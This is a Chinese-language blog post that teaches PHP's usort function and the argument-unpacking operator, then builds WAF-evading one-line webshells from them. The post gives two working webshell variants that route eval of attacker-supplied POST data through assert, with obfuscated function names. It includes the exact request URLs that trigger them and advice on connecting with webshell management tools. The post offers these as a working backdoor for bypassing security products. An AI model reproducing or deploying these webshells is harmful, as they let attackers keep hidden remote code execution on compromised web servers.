PHP免殺一句話能秒99%的WAF防火牆
開始
原諒我見識短,沒用過usort函式
上面連線的文章中,發現有這個函式
於是剛剛瞭解了下usort函式
usort函式幹嘛的?
官方介紹:http://php.net/manual/zh/function.usort.php
通俗點說就是一個稍微複雜點的陣列,如果用php自帶的函式不是很方便
所以使用者可以自己定義一個函式,然後使用usort函式來進行回撥
1 2 3 4 5 6 7 8 9 10 |
<?php function my_sort($a,$b){ if ($a==$b){ return 0; }else{ return ($a<$b)?-1:1; } } $list = array(4,2,8,6); usort($list,'my_sort'); |
第一個引數必須是陣列
第二個引數是函式名稱
usort函式執行的時候,會依次把$a中的兩個值,傳遞給名字為my_sort函式中,所以你會看到my_sort有兩個形參
然後php會判斷my_sort函式的返回值
如果為0,則位置不變
如果為-1.則$a位置和$b不變
如果為1,則$a位置和$b互換
有趣的來了
開始裡面的文章中,講到了一個php5.6的新特性
…運算子,對就是三個點
官方介紹:http://php.net/manual/zh/migration56.new-features.php
該運算子可以將陣列或者可遍歷的物件展開變為引數
不過必須是索引陣列哦~~~
舉個栗子
1 2 3 4 5 |
<?php $list = [1,2,3]; var_dump($list); echo "========\n";// var_dump(...$list); |
返回結果如下
1 2 3 4 5 6 7 8 9 10 11 12 |
array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3) } ======== int(1) int(2) int(3) |
編寫一句話
先放出最終的程式碼
1 |
<?php usort(...$_GET);?> |
那麼$_GET變數中的值,應該是
1 |
[['$a=0','eval($_POST["x"])'],'assert']; |
$_GET[0]是usort的第一個引數
$_GET[1]是usort的回撥函式名
也就相當於
1 |
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?> |
,php免殺大馬,免殺大馬
最終利用是這樣的
1 |
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert |
我自己本地環境測試成功了~~~
應該能過什麼安全狗啊啥的
上面的一句話,只能在php環境>=5.6才能用
於是更新下,環境>=<5.6都可以的一句話
1 |
<?php usort($_GET,'asse'.'rt');?> |
使用方法
1 |
http://www.url.com/test.php?1=1+1&2=eval($_POST[x]) |
過狗一句話如果連不上用過狗菜刀和xise連
原文地址《 php免殺一句話能秒99%的waf防火牆》